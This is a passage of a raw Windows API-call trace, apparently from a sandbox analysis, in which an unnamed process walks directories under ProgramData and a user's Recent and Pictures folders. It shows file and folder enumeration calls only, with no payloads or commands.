lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.713] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.713] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.713] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.713] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.713] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0070.713] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device" (normalized: "c:\\programdata\\microsoft\\device stage\\device"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0070.714] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.714] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.714] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.714] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.714] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.714] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0070.714] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0070.714] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.722] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.722] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.722] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.722] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.722] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.722] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.722] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.722] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.723] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0070.723] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.723] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.723] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.723] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.723] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.724] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.724] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.724] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.724] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0070.724] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0070.724] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.724] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.725] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0070.725] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.725] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0070.725] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.725] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.726] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.726] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.726] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.726] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.726] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2a [0070.726] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task" (normalized: "c:\\programdata\\microsoft\\device stage\\task"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.726] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.726] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.726] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.726] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.728] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.728] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.728] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.728] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.965] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0071.075] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0072.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x3a [0072.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0072.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\recent"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xcd4fb320, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xcd4fb320, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xc000)) returned 1 [0072.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0072.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x3a [0072.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0072.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\recent"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xcd4fb320, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xcd4fb320, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xc000)) returned 1 [0072.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0072.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures", lpFilePart=0x0) returned 0x1a [0072.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0072.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures" (normalized: "c:\\users\\kft6utqw\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc35a6220, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc35a6220, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0072.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures", lpFilePart=0x0) returned 0x1a [0072.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0072.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures" (normalized: "c:\\users\\kft6utqw\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc35a6220, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc35a6220, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0072.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures", lpFilePart=0x0) returned 0x1a [0072.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0072.523] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures" (normalized: "c:\\users\\kft6utqw\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc35a6220, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc35a6220, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0072.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0072.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures", lpFilePart=0x0) returned 0x1a [0072.523] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9058 [0072.523] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.523] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.523] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.523] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.523] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.523] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.523] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.524] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0072.524] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0072.524] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0072.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0072.524] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z", lpFilePart=0x0) returned 0x23 [0072.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0072.524] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb403a10, ftCreationTime.dwHighDateTime=0x1d3045d, ftLastAccessTime.dwLowDateTime=0x7b8e4900, ftLastAccessTime.dwHighDateTime=0x1d30519, ftLastWriteTime.dwLowDateTime=0x7b8e4900, ftLastWriteTime.dwHighDateTime=0x1d30519, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0072.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0072.524] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z", lpFilePart=0x0) returned 0x23 [0072.524] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9058 [0072.524] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.524] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.524] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.524] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.525] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0072.525] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0072.525] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0072.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0072.525] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd", lpFilePart=0x0) returned 0x29 [0072.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0072.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\joddd"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabba3e70, ftCreationTime.dwHighDateTime=0x1d30282, ftLastAccessTime.dwLowDateTime=0xbb609b10, ftLastAccessTime.dwHighDateTime=0x1d3020c, ftLastWriteTime.dwLowDateTime=0xbb609b10, ftLastWriteTime.dwHighDateTime=0x1d3020c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0072.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0072.525] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd", lpFilePart=0x0) returned 0x29 [0072.525] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9058 [0072.525] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.525] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.525] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.525] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.526] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.526] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.526] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0072.526] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0072.526] FindClose (in: hFindFile=0x6fe9058 | out: hFindFile=0x6fe9058) returned 1 [0072.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0072.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0072.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\joDdd\\hGZFj", lpFilePart=0x0) returned 0x2f [0072.526] 